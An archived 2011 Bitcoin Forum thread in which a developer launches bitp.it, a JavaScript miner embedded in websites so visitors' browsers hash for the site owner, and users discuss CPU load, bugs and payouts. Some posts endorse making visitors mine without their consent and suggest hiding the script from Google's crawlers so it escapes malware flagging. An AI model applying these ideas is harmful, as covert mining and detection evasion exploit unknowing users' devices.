Bitcoin Forum

Bitcoin => Mining software (miners) => Topic started by: 1bitc0inplz on May 20, 2011, 01:58:01 AM



Title: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 20, 2011, 01:58:01 AM
We are launching bitp.it (http://bitp.it) today, a revolutionary 100% Javascript based bitcoin miner that you can easily embed right into your own website. Visitor to your website will run this Javascript seamlessly in the background computing hashs for you, and if a share is found you (the website owner) will receive credit.

We are hoping this will be viewed as an exciting new alternative to banner advertisement that actually has the potential of not being annoying to website visitor and actually generating bitcoins for the website operator.

bitp.it (http://bitp.it) uses Slush's pool, and for the time being we will pay you out your shares in 0.01 BTC increments once a week. We realize there is a lot to be done, and possibly even some bugs along the way, so we are going to not charge any fees of our own for the first month while we iron out some of the details. Slush will obviously take his fees off the top, but other than that your earnings should be passed straight through to you.

Since we are treating this like a beta, we'd love to hear your feedback, good, bad or ugly. Post up here and let us know what you think.


Javascript is just too slow to mine bitcoins. The recent difficulty increases have made this an impractical idea. Couple that with the fact that WebCL is practically non-existant, and what you are left with is an ornithopter.

It is this reason that we started our own pool (https://pool.bitp.it) for people to use their own CPUs and GPUs to mine for bitcoins. It is also this same reason that effective July 9th, 2011 we will no longer be offering Javascript as even an option. All existing users are encouraged to switch to our pool.

We will leave the server side Javascript in-place, so you're existing websites will not attempt to fetch content that doesn't exist. However, the JS on our end will be gutted rendering it non-functional.

Just for recap:

  • We will NOT be discontinuing our pool
  • All users are encouraged to join our pool
  • July 9th will be the last day the Javascript stuff is functional
  • July 9th will be the last day we perform payouts


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Comepradz on May 20, 2011, 01:59:29 AM
Nice work dude, now I'm going there  ;D


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: jaau on May 20, 2011, 02:06:17 AM
I am on!!!


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Comepradz on May 20, 2011, 02:11:18 AM
dude, it seems like your script is based on your own pool. Can you post the source code?


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Ampix0 on May 20, 2011, 02:14:40 AM
Oh my god.. This could replace ads... this is the future. Genius sir this is an amazing thing you have done. You may have changed the internet.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 20, 2011, 02:16:36 AM
dude, it seems like your script is based on your own pool. Can you post the source code?

bitp.it (http://bitp.it) uses Slush's pool. We are still working out the longer term details of how the backend will work, there has been lots of talks of establishing our own pool. But for now, to boot strap this process, it just makes more sense to use an existing pool.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Ampix0 on May 20, 2011, 02:18:12 AM
Ya i see it works in slush's pool but.. Where do I input my worker information so the calcuations done on the site are made for my account on slush's pool


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: warweed on May 20, 2011, 02:28:18 AM
I have some very HIGH traffic sites that would benefit from this but i need some more information will this be open sourced at all ? i need more info to assure there is nothing malicious going on simply because well thousands of users at one given time will be mining i need to know this won't fuck ANYthing .. i also need to know how the workers can be monitored on my end .. no offense but i can't trust anyone these days
bitcoin
contact me if you want to be discrete and charge what fees you need to but i need to know before i put this on a major production site what were dealing with

-J


EDIT:

also that said is there a way to adjust the total cpu usage ? seems to be only like 40% increase appreciate it thou seems interesting but possibly viral i can think of MANY MANY ways to use this maliciously sadly


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: SoreGums on May 20, 2011, 02:44:09 AM
Wow see the difference between the browsers:

  • Chrome13-canary: ~15.2k/s
  • FF4: ~6.4k/s
  • Safari5: ~6.2k/s
  • IE9: ~1.6k/s

V8 blitz the field, could make a node.js module as that uses the V8 engine...

Interesting project :)

edit: ran on windows 7 x64 w/ i7 920 @3.8GHz & 12GB RAM


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Turix on May 20, 2011, 02:56:38 AM
EDIT:

also that said is there a way to adjust the total cpu usage ? seems to be only like 40% increase appreciate it thou seems interesting but possibly viral i can think of MANY MANY ways to use this maliciously sadly

I would also be interested in a similar feature, I don't want to bombard my users CPU to any point at which it would impact the running of their PC (or become noticeable).


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: BitcoinsWallet on May 20, 2011, 03:03:28 AM
Great!

Waiting for activation...


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 20, 2011, 03:12:00 AM
Ya i see it works in slush's pool but.. Where do I input my worker information so the calcuations done on the site are made for my account on slush's pool

Ah... very good question, I misunderstood.

When you register you enter your email address. We are feverishly working on the user control panel, and that is where you will set your wallet id to receive your payouts. We are targeting weekly payouts, and the hope is to have the control panel ready this weekend.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 20, 2011, 03:20:38 AM
I have some very HIGH traffic sites that would benefit from this but i need some more information will this be open sourced at all ? i need more info to assure there is nothing malicious going on simply because well thousands of users at one given time will be mining i need to know this won't fuck ANYthing .. i also need to know how the workers can be monitored on my end .. no offense but i can't trust anyone these days
bitcoin
contact me if you want to be discrete and charge what fees you need to but i need to know before i put this on a major production site what were dealing with

-J


EDIT:

also that said is there a way to adjust the total cpu usage ? seems to be only like 40% increase appreciate it thou seems interesting but possibly viral i can think of MANY MANY ways to use this maliciously sadly

These are exactly the type of discussions we wanted to generate. In regards to open source, let me discuss with my partners. This is something we only briefly discussed and I am not sure where we ended that conversation.

We intentionally avoided using jQuery, prototype, or any other frameworks as we wanted this to not interfere with anyone's website. We also make use of "namespaces" (well, as much as JS can :-D) to also reduce the change of doing anything bad to any of your existing JS.

We would be honored to have you test it out on your site, I will send you a PM shortly in case you wanted to discuss in any more details.

As far as the CPU...

Chrome, Safari, and Firefox have support for HTML 5 WebWorkers. In those browsers the JS defaults to using 100% of one core. Since this is a WebWorker, it has no ill effect on the web page. In IE (or any other browser without support of WebWorkers) hashes are computed in the UI thread using a setTimeout that makes it VERY CPU friendly. There are settings in our code to force even Chrome, Safari, et al to use the UI thread and be equally as friendly as IE. A recent change today made those settings less obvious. I will work on getting those exposed better, and will report back.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 20, 2011, 03:21:55 AM
Wow see the difference between the browsers:

  • Chrome13-canary: ~15.2k/s
  • FF4: ~6.4k/s
  • Safari5: ~6.2k/s
  • IE9: ~1.6k/s

V8 blitz the field, could make a node.js module as that uses the V8 engine...

Interesting project :)

edit: ran on windows 7 x64 w/ i7 920 @3.8GHz & 12GB RAM

It will even run on your smart phone too  ;)


Oh, and, just for note, the backend is actually written on node.js :D


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 20, 2011, 03:28:03 AM
Great!

Waiting for activation...

Thanks for registering. Our hosting provided (for some reason) is blocking outbound SMTP connections. We have an open support ticket with them trying to get this resolved.

Your Javascript should be fully functional though. The email will be used to help you set your password when we bring the user control panel online in the next couple of days. In the mean time, any shares generated with your custom Javascript will be tired to your account. When the control panel comes online this should all be a little more transparent.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Turix on May 20, 2011, 03:32:25 AM
I think I might have run into an issue with the API?

I have placed the code into the head location on my website and it works fine in Chrome V11, however when I attempt to load it in Firefox 4.0.1 it throws the following

Code:
"[04:22:30.707] Permission denied to access property 'bitpit_params' @ http://api.bitp.it/mine:5"

and Internet Explorer 9

Code:
SCRIPT5: Access is denied.
 
mine, line 5 character 7

But on a side note, great idea, although one question how well does it handle people moving between pages because the rate at which shares are generated with CPU hash rates is surely going to be pretty low?


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 20, 2011, 03:37:49 AM
I think I might have run into an issue with the API?

I have placed the code into the head location on my website and it works fine in Chrome V11, however when I attempt to load it in Firefox 4.0.1 it throws the following

Code:
"[04:22:30.707] Permission denied to access property 'bitpit_params' @ http://api.bitp.it/mine:5"

and Internet Explorer 9

Code:
SCRIPT5: Access is denied.
 
mine, line 5 character 7

But on a side note, great idea, although one question how well does it handle people moving between pages because the rate at which shares are generated with CPU hash rates is surely going to be pretty low?

Thanks for the bug report... I will get right on this. The Firefox issue I have a very good idea what that is about. That kinda ties back to the comment I made about, about exposing our miner engine settings better.... it looks like the way we are passing params into the iframe is not liked by Firefox 4.

I will look into the IE one as well, it may be one and the same.

You are right, one pages where people on only there for a brief instant, this would be less than ideal. This is really good for websites like blogs, newspapers, forums, etc, where people sit and read content for a few minutes at a time. That is not to say that it wouldn't work on any site, but I think you catch my drift.... the long someone just sits on your website, the better it is for you, the website operator.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: grondilu on May 20, 2011, 03:40:33 AM
This is freakingly awesome idea!

It surely will help to better distribute the overall hashing power, thus making the bitcoin network even more resilient.


I'm not sure the client will be very happy to see his computer burning CPU for  no apparent reason, though.   :D   But indeed it is probably better than annoying ads.   Again:  awesome idea.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Turix on May 20, 2011, 03:47:54 AM
I'm probably about to show my ignorance of bitcoind and Javascript/HTML5 in a couple of lines (I'm a Java/C programmer and tend to ignore Javascript wholesale) but here I go.

Is it possible to push smaller work units than the default (most cpu's seem to do about 1 share per minute from my experience) in order to reduce the amount of time required on each page, or are the share sizes a hard coded part of bitcoind/rpc? Or perhaps is it possible to have the miner store its state in HTML 5's cache in some way, so that it can be resumed on subsequent pages? Or maybe make use of a cookie to store the state information which is then reread on the new page?

I'm not sure the client will be very happy to see his computer burn CPU for apparently no apparent reason, though.   :D   But indeed it is probably better than annoying add.   Again:  awesome idea.

My intention is to only have it run for guests to the site, the person can choose to not enable it by simply registering with the website - fair trade off in my eyes.

Edit: I'd like to make a request, I'm sure its already on the cards but I'll ask anyway, within the control panel it would be nice to see some information such as effective total hash rates, number of users currently hashing and such and perhaps some distinction between the pages which it is being run from (or some ability to set of "campaigns") so that we can see which pages on our websites are proving more or less effective that generating coins.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: shivansps on May 20, 2011, 03:55:00 AM
I see one BIG flaw on this system... google its gona kill you.

They gona mark the web page as a "malware".


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 20, 2011, 03:55:30 AM
This is freakingly awesome idea!

It surely will help to better distribute the overall hashing power, thus making the bitcoin network even more resilient.


I'm not sure the client will be very happy to see his computer burn CPU for apparently no apparent reason, though.   :D   But indeed it is probably better than annoying ads.   Again:  awesome idea.

Thanks, a lot. The encouragement means a lot. I agree, a lot of users and website operators may not like the idea that the CPU is worked so hard on some browsers. The underlying jsMiner engine supports an option of forcing the work to be done in the UI thread, and thusly in setTimeouts... this is VERY CPU friendly. If you compare the CPU usage that IE produces on bip.it (http://bip.it) versus Chrome you will see that IE appears to use very little CPU time where Chrome uses a whole core... this is the different between IE using the UI thread and Chrome using an HTML WebWorker.

Either way, I just made a feature request in our project tracker to get these underlying jsMiner settings exposed so that the end website operator can better tune their user's experience.

I'm probably about to show my ignorance of bitcoind and Javascript/HTML5 in a couple of lines (I'm a Java/C programmer and tend to ignore Javascript wholesale) but here I go.

Is it possible to push smaller work units than the default (most cpu's seem to do about 1 share per minute from my experience) in order to reduce the amount of time required on each page, or are the share sizes a hard coded part of bitcoind/rpc? Or perhaps is it possible to have the miner store its state in HTML 5's cache in some way, so that it can be resumed on subsequent pages? Or maybe make use of a cookie to store the state information which is then reread on the new page?

The typical "getwork" protocol that nearly every miner uses is very poor. The protocol hands a chunk of work to the client and says "here, go".. and the client just tries to go over the whole nonce range. This is a poor design for slower clients. We wrote a more RESTful protocol for fetching work, and in this protocol we also took the liberty of having the server tell the client which nonce ranges to loop over. This allows a server to better coordinate a hash search when it knows it has slower clients. This also eliminates the need for state as, by default, the browsers are only given enough work for about 30 seconds and will POST back their results immediately if a share is found.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 20, 2011, 03:57:50 AM
Edit: I'd like to make a request, I'm sure its already on the cards but I'll ask anyway, within the control panel it would be nice to see some information such as effective total hash rates, number of users currently hashing and such and perhaps some distinction between the pages which it is being run from (or some ability to set of "campaigns") so that we can see which pages on our websites are proving more or less effective that generating coins.

Thanks for the input. A control panel is in the works... but it means a lot more to us to hear specifics on what you guys are looking for. Specifics like you just listed help us a *lot*.


Keep the ideas coming.  :)


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 20, 2011, 04:01:03 AM
I think I might have run into an issue with the API?

I have placed the code into the head location on my website and it works fine in Chrome V11, however when I attempt to load it in Firefox 4.0.1 it throws the following

Code:
"[04:22:30.707] Permission denied to access property 'bitpit_params' @ http://api.bitp.it/mine:5"


Ok... call me silly... but I just loaded bitp.it (http://bitp.it) in Firefox 4.0.1 on my Mac, and it appears to be working just fine.

Judging from the IE 9 bug, is it safe to assume you're on Windows for Firefox too? I will boot up a VM and try it there as well.

Also, when you encountered this, were you hitting bitp.it directly, or were you trying to embed this onto your own website?

Sorry, I am just trying to reproduce this so I can fix it  :D


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Turix on May 20, 2011, 04:08:08 AM
It is embedded on my own website (http://ghost-dota.com) all of the aforementioned browsers work fine when testing directly on bitp.it using Windows 7; I have also additionally tested it using Firefox Nightly 6a on an Ubuntu 11.04 machine and it is returning the same permission error.

Code block copied verbatim from the submit page:

Code:
<script type="text/javascript" src="http://api.bitp.it/bitp.it.js"></script>
<script type="text/javascript">
  bitpit({clientId: "36"});
</script>

Not a problem, I'm used to dealing with users who don't even understand how to use their Windows PC properly so I know your pain exactly  :-X.

Edit: While testing this I have noticed what could be a fatal issue for some people (myself included), if you have two pages of the same website open in two separate tabs it causes the script to execute twice and runs the systems CPU up to the point where (In my case anyway) the computer became very unresponsive. Scratch that it seems fine between Firefox 4 tabs, the issue that actually caused my PC to freeze was having Chrome and Firefox both independently running a copy of the script.

I have also setup a completely stripped page on my website to demonstrate the permission issue away from the gunk of the SMF install, here (http://ghost-dota.com/miner.html).

Also another suggestion (I know, I'm a pain right?) perhaps give the webmaster more direct access the the jsMiner "engine" object so that we can easily pull information such as the hash rate?


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 20, 2011, 05:22:49 AM
It is embedded on my own website (http://ghost-dota.com) all of the aforementioned browsers work fine when testing directly on bitp.it using Windows 7; I have also additionally tested it using Firefox Nightly 6a on an Ubuntu 11.04 machine and it is returning the same permission error.

Code block copied verbatim from the submit page:

Code:
<script type="text/javascript" src="http://api.bitp.it/bitp.it.js"></script>
<script type="text/javascript">
  bitpit({clientId: "36"});
</script>

Not a problem, I'm used to dealing with users who don't even understand how to use their Windows PC properly so I know your pain exactly  :-X.

Edit: While testing this I have noticed what could be a fatal issue for some people (myself included), if you have two pages of the same website open in two separate tabs it causes the script to execute twice and runs the systems CPU up to the point where (In my case anyway) the computer became very unresponsive. Scratch that it seems fine between Firefox 4 tabs, the issue that actually caused my PC to freeze was having Chrome and Firefox both independently running a copy of the script.

I have also setup a completely stripped page on my website to demonstrate the permission issue away from the gunk of the SMF install, here (http://ghost-dota.com/miner.html).

Also another suggestion (I know, I'm a pain right?) perhaps give the webmaster more direct access the the jsMiner "engine" object so that we can easily pull information such as the hash rate?

Thanks for helping identify the issue. It turns out that the way we were passing parameters into the iframe was not cross domain compliant for all browsers. We've instead resorted to passing them via the iframe's src URL as query strings. Nothing will change on your end, except the code will just start working

This also should all you to specify more custom jsMiner engine settings. I will work on getting that list together of what can be tweaked and post back up. For one you can specify the forceUIThread: true in your params... so your code might look like:
Code:
<script type="text/javascript" src="http://api.bitp.it/bitp.it.js"></script>
<script type="text/javascript">
bitpit({clientId: "ID", forceUIThread: true});
</script>

Forcing the UI thread will limit the CPU usage by causing the miner to be more friendly for browsers that do not support HTML 5 WebWorkers... I added it as more of a debugging setting, but there is no harm in forcing all your visitors miners to be more friendly (except a lower hash rate).

There are more settings, but I will need to dig into that part of the source and make a list of what all they do.


As far as getting info out of the miner... that might not be an easy thing. I will need to ponder on that some more. The complication is that the miner, due to cross domain issues, lives in an iframe. Your website will not be able to just talk directly to that JS object... we could pass info back by modifying the iframe src URL (similar to what we are doing to pass info in), but unlike inbound parameters, if we used hash tags that should work...


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: gjs278 on May 20, 2011, 07:49:19 AM
I've embedded it on my website, should receive about 10k hits a day. it would definitely be cool to get those registration emails out there so I can see stats, this is a great idea.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: will on May 20, 2011, 07:54:31 AM
Great idea, I will support this in any way I can.

I'm working on a gaming website which allows players to compete in sit-down tournaments for BTC and this would be perfect to include on that. You should also look into using accessing the GPU for the calcs.
Maybe something like WebCL: http://webcl.nokiaresearch.com/index.html

If you can get this working it's be awesome.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: caveden on May 20, 2011, 08:04:34 AM
This is really powerful.

A question: is the mining task correctly prioritized not to annoy the user (lower priority than anything else)?
The CPU going to 100% won't be a problem if the user continues to be able to use his computer normally. But if the mining process has the same priority as other user processes, that might piss him off, with reason.
I don't even know if you can set priorities in javascript like that.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: robmon on May 20, 2011, 09:12:43 AM
I just have to say that this is pure brilliance!

This changes everything. How long before we no longer can browse the Internet without CPU spiking to 100%?   :D


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: PIO on May 20, 2011, 09:33:45 AM
I see one BIG flaw on this system... google its gona kill you.

They gona mark the web page as a "malware".

You could easily hide it from bots with a few lines of PHP.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: gumbah on May 20, 2011, 09:41:36 AM
This is awesome! I've added the code to http://randomgam.es to try out.

First impression (on a relatively new MB pro) is that the machine's fans are going nuts when leaving the page open for a while... (this is the case in both firefox and chrome). Anyone else experiencing this?


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: pindis on May 20, 2011, 09:48:34 AM
This is awesome! I've added the code to http://randomgam.es to try out.

First impression (on a relatively new MB pro) is that the machine's fans are going nuts when leaving the page open for a while... (this is the case in both firefox and chrome). Anyone else experiencing this?

That's kind of obvious isn't it? since it's using cpu, hence the cpu gets warmer which leads to more RPM cycles?


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: gumbah on May 20, 2011, 09:53:37 AM
This is awesome! I've added the code to http://randomgam.es to try out.

First impression (on a relatively new MB pro) is that the machine's fans are going nuts when leaving the page open for a while... (this is the case in both firefox and chrome). Anyone else experiencing this?

That's kind of obvious isn't it? since it's using cpu, hence the cpu gets warmer which leads to more RPM cycles?

It's obvious why it's happening, but shouldn't it be using just enough cpu so that the visitors/users of the site don't notice anything?


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: gigabytecoin on May 20, 2011, 10:35:59 AM
This is freakingly awesome idea!

It surely will help to better distribute the overall hashing power, thus making the bitcoin network even more resilient.


I'm not sure the client will be very happy to see his computer burning CPU for  no apparent reason, though.   :D   But indeed it is probably better than annoying ads.   Again:  awesome idea.

Not quite...

Google could place this on their website and gain 50%+ hashing power of the network overnight.

EDIT: Then again, maybe not...

According to my calculations....

One $100 5830 can do 300,000,000 hashes per second if tweaked correctly.

Divided by an average of 10,000 hashes per second for an average cpu running this javascript miner = 30,000 concurrent visitors to your website to equal the hashing power of a 5830 - and whenever users hit your website, their CPUs would start burning up... so they would probably leave within let's say 2 minutes of visiting your web page.

So multiply 30,000 concurrent required visitors by the number of 2 minute intervals in the day... (24 * 60 / 2 = 720)

And you come to a total of 21,600,000 unique visitors per day that you would need to your website in order to hash the equivalent of a $100 GPU.

Or make about $8 per day according to the bitcoin calculator right now from 21 million unique visitors.... totally not worth it.

Phew, now I feel better about my mining investments!

Don't get me wrong OP, I love it when anybody contributes anything to the bitcoin network, I am just thinking out loud.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Soepkip on May 20, 2011, 11:53:23 AM
Just awesome. An easy way to use my work computer as a bitcoin generator. I can even leave it on 24/7 if the cleaning lady doesn't turn it off ;).

Any easy way for me to display my hashes/s in the little HTML file i made?

Also: When running one instance i get 50% CPU, with two 100% CPU. Does this matter in the sense that i might be doing double work or?




Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 20, 2011, 12:43:23 PM
Wow!

First off, to everyone who registered and/or replied to this thread. Thank you all. I never imagined there would be this much interest in this. Your feedback, all of it, is great. This is really helping us find ways to make this even better.

I see one BIG flaw on this system... google its gona kill you.

They gona mark the web page as a "malware".

You could easily hide it from bots with a few lines of PHP.

I am a little confused on what the concern is. AFAIK, Google, et al, do not execute Javascript when they visit your website. Am I missing something?

This is really powerful.

A question: is the mining task correctly prioritized not to annoy the user (lower priority than anything else)?
The CPU going to 100% won't be a problem if the user continues to be able to use his computer normally. But if the mining process has the same priority as other user processes, that might piss him off, with reason.
I don't even know if you can set priorities in javascript like that.

Javascript cannot explicitly set thread prioritization, the browser is left taking care of that. From my testing, it would appear that all the major browsers do set thread priority to "nice". Read my replies below though, because this seems to be a shared concern, and I think I know how we can help limit the CPU utilization if you so desired.


This is freakingly awesome idea!

It surely will help to better distribute the overall hashing power, thus making the bitcoin network even more resilient.


I'm not sure the client will be very happy to see his computer burning CPU for  no apparent reason, though.   :D   But indeed it is probably better than annoying ads.   Again:  awesome idea.

Not quite...

Google could place this on their website and gain 50%+ hashing power of the network overnight.

EDIT: Then again, maybe not...

According to my calculations....

One $100 5830 can do 300,000,000 hashes per second if tweaked correctly.

Divided by an average of 10,000 hashes per second for an average cpu running this javascript miner = 30,000 concurrent visitors to your website to equal the hashing power of a 5830 - and whenever users hit your website, their CPUs would start burning up... so they would probably leave within let's say 2 minutes of visiting your web page.

So multiply 30,000 concurrent required visitors by the number of 2 minute intervals in the day... (24 * 60 / 2 = 720)

And you come to a total of 21,600,000 unique visitors per day that you would need to your website in order to hash the equivalent of a $100 GPU.

Or make about $8 per day according to the bitcoin calculator right now from 21 million unique visitors.... totally not worth it.

Phew, now I feel better about my mining investments!

Don't get me wrong OP, I love it when anybody contributes anything to the bitcoin network, I am just thinking out loud.

Thanks, I appreciate the feedback. You are right, this is not ever going to compete with a GPU miner. The basic idea is that you, the website operator, have all these visitors. Right now many websites place banner ads on their site to try and make revenue. Banner ads are less than ideal in that they require the visitor to do something (assuming PPC, not PPV) for you to make revenue. This, however, is entirely non-volontary on the site visitor's behalve. They *have* to mine bitcoins for you if they are using your site. There was mention in a previous reply about turning this off for registered users, or other sub-sections of your website base, and I think thats an awesome idea too.

Where this Javascript miner really shines is in it hash/sec per watt  :D

I do think you have a valid point about not wanting to run people off with a high CPU usage, so did a few others. For now, just use the forceUIThread: true setting to make the worker process more CPU friendly. This will reduce your hashing rate, but will make it more friendly for your website visitors if you choose. Today I will also look into making more of a "nice" setting where you could set the niceness with better precession... of course this would be implemented in a work-pause-work, and not actually setting the thread priority level... but, I do believe the browsers already have their threads set to nice... so this would only be reducing the CPU load, which is what I believe you (all) are looking for as an option. I agree, I think that'd be a good setting to have.

As far as GPUs, I'm glad I bought mine as well. I do not think they'll be going anywhere anytime soon.

Just awesome. An easy way to use my work computer as a bitcoin generator. I can even leave it on 24/7 if the cleaning lady doesn't turn it off ;).

Any easy way for me to display my hashes/s in the little HTML file i made?

Also: When running one instance i get 50% CPU, with two 100% CPU. Does this matter in the sense that i might be doing double work or?

Which browser gave you 100%? Of the browsers I tested, they generally fall into two categories... those that support HTML 5 web workers, and those that do not. Only the ones that support web workers should be running the CPU at any noticeable percent (maybe I'm wrong, I'll test more)... but the ones with web workers support will max out 1 core.

So, in the 50% case, I assume that means you have a dual-core machine?

In the 100% case.... I am stumped. Unless you only had 1 core, or had this open in multiple tabs, I do not know how that would have happened. Let me know what browser and OS, and I'll look into it.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: ChaosFox on May 20, 2011, 01:09:36 PM
Hmm, interesting.  ;D Patiently waiting for a full release. One thing that I'd like to know, though. I accidentally signed up several times, and I believe my ID's were different for each. While the control panel thingamabob isn't working yet, which ID should I use with the embedded code? The last one I got?


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Soepkip on May 20, 2011, 01:35:49 PM
Wow!

Just awesome. An easy way to use my work computer as a bitcoin generator. I can even leave it on 24/7 if the cleaning lady doesn't turn it off ;).

Any easy way for me to display my hashes/s in the little HTML file i made?

Also: When running one instance i get 50% CPU, with two 100% CPU. Does this matter in the sense that i might be doing double work or?

Which browser gave you 100%? Of the browsers I tested, they generally fall into two categories... those that support HTML 5 web workers, and those that do not. Only the ones that support web workers should be running the CPU at any noticeable percent (maybe I'm wrong, I'll test more)... but the ones with web workers support will max out 1 core.

So, in the 50% case, I assume that means you have a dual-core machine?

In the 100% case.... I am stumped. Unless you only had 1 core, or had this open in multiple tabs, I do not know how that would have happened. Let me know what browser and OS, and I'll look into it.

I have dual core. With one tab open it goes to 50% CPU. With two tabs open to 100% CPU. So that works fine. However, i want to know if i'm working on 2 different shares in that sense. Offcourse using Chrome.

Also, how do i easily show hashes/s just like bitp.it does?


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: JohnDoe on May 20, 2011, 02:08:09 PM
This is pretty damn cool.

Is there no way to add GPU mining to this?

EDIT: To answer my own question, it looks like it would be possible in the future using WebCL.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Turix on May 20, 2011, 02:50:10 PM
When comparing the effects of using forceUIThread / webWorkers I noticed that the UIThread variant makes a lot more requests to the server than the webWorker variant. webWorker seems to make about 1 request every 10seconds in FF4, whereas UIThread appears to be making 5 or more requests a second.

Just want to confirm that this is the intended behavior.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 20, 2011, 03:55:29 PM
When comparing the effects of using forceUIThread / webWorkers I noticed that the UIThread variant makes a lot more requests to the server than the webWorker variant. webWorker seems to make about 1 request every 10seconds in FF4, whereas UIThread appears to be making 5 or more requests a second.

Just want to confirm that this is the intended behavior.

No, that was a bug. It should be fixed now.

Also, one of my partners, lowentropy should be swinging by soon to introduce himself too. He has been helping me with this project.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on May 20, 2011, 04:21:13 PM
Howdy, I'm one of the developers of bitp.it, and I'm going to help 1bitc0inplz field questions.

I'm working on pushing out registration emails and a console page where you can:

 - Set a password to log in
 - View statistics about your hashes and shares
 - Set a wallet id for payouts
 - Get your script code, in case you lost it

Everyone who signed up should get an email some time late this evening or tomorrow morning (we're in CST here).

Thanks for your patience during our launch :) and thanks to everyone helping us iron out code issues. We really appreciate it.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 20, 2011, 04:22:14 PM
Howdy, I'm one of the developers of bitp.it, and I'm going to help 1bitc0inplz field questions.

And there he is  :D


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: MacCompiler on May 20, 2011, 04:26:28 PM
Introducing Bitcoin mining on your otherwise useless iOS devices;

500 hashes per second on the first generation iPad, and 430 hases per second on the forth generation iPhone.

Both running Safari on iOS 4.3.3.

Sucks battery power like nothing I have ever seen.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Turix on May 20, 2011, 04:34:07 PM
Introducing Bitcoin mining on your otherwise useless iOS devices;

500 hashes per second on the first generation iPad, and 430 hases per second on the forth generation iPhone.

Both running Safari on iOS 4.3.3.

Sucks battery power like nothing I have ever seen.

For the fun of it, Google Nexus S - 350-400 using the Android Browsers on Android 2.3.4 and Firefox 4 actually does worse at 300-350  :D


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: AbbydonKrafts on May 20, 2011, 04:45:04 PM

I am a little confused on what the concern is. AFAIK, Google, et al, do not execute Javascript when they visit your website. Am I missing something?


When Google scans a page, it looks at all links, embeds, etc. It will see the script address for the embed. After they decide that the script is taking up too much CPU (user reports and whatnot), they will flag it as malware. Any page that embeds the script will also be flagged as malware. This can lead to things like pre-visit warning dialogs within the browser.

Hiding the script, along with any related content, from bots such as Google is the only way to prevent a page from being flagged.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Steve on May 20, 2011, 05:28:41 PM
I compared this with the native Bitcoin c++ client's mining...I am getting 4 to 5x the performance with your Javascript miner (running on OSX in the Chrome browser).  Can anyone else confirm that (I'm getting about 9Mhash/s in the browser vs less than 2Mhash/s with the bitcoin client)?  If it's really the case, that's quite impressive!


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: BitcoinsWallet on May 20, 2011, 05:35:48 PM
When Google scans a page, it looks at all links, embeds, etc. It will see the script address for the embed. After they decide that the script is taking up too much CPU (user reports and whatnot), they will flag it as malware. Any page that embeds the script will also be flagged as malware. This can lead to things like pre-visit warning dialogs within the browser.

That can be a big problem....


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on May 20, 2011, 05:36:45 PM
I compared this with the native Bitcoin c++ client's mining...I am getting 4 to 5x the performance with your Javascript miner (running on OSX in the Chrome browser).  Can anyone else confirm that (I'm getting about 9Mhash/s in the browser vs less than 2Mhash/s with the bitcoin client)?  If it's really the case, that's quite impressive!

Sorry to disappoint, Steve, but our site is just listing hashes per second, so you're probably seeing 9 khps, not 9Mhps  :P

Unfortunately, javascript computation is rather slow :) There is intense discussion of making use of web-based CL to use the graphics card, but no implementation yet.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 20, 2011, 05:42:26 PM
When Google scans a page, it looks at all links, embeds, etc. It will see the script address for the embed. After they decide that the script is taking up too much CPU (user reports and whatnot), they will flag it as malware. Any page that embeds the script will also be flagged as malware. This can lead to things like pre-visit warning dialogs within the browser.

That can be a big problem....

I agree, if Google did flag it as malware, it could be a problem.

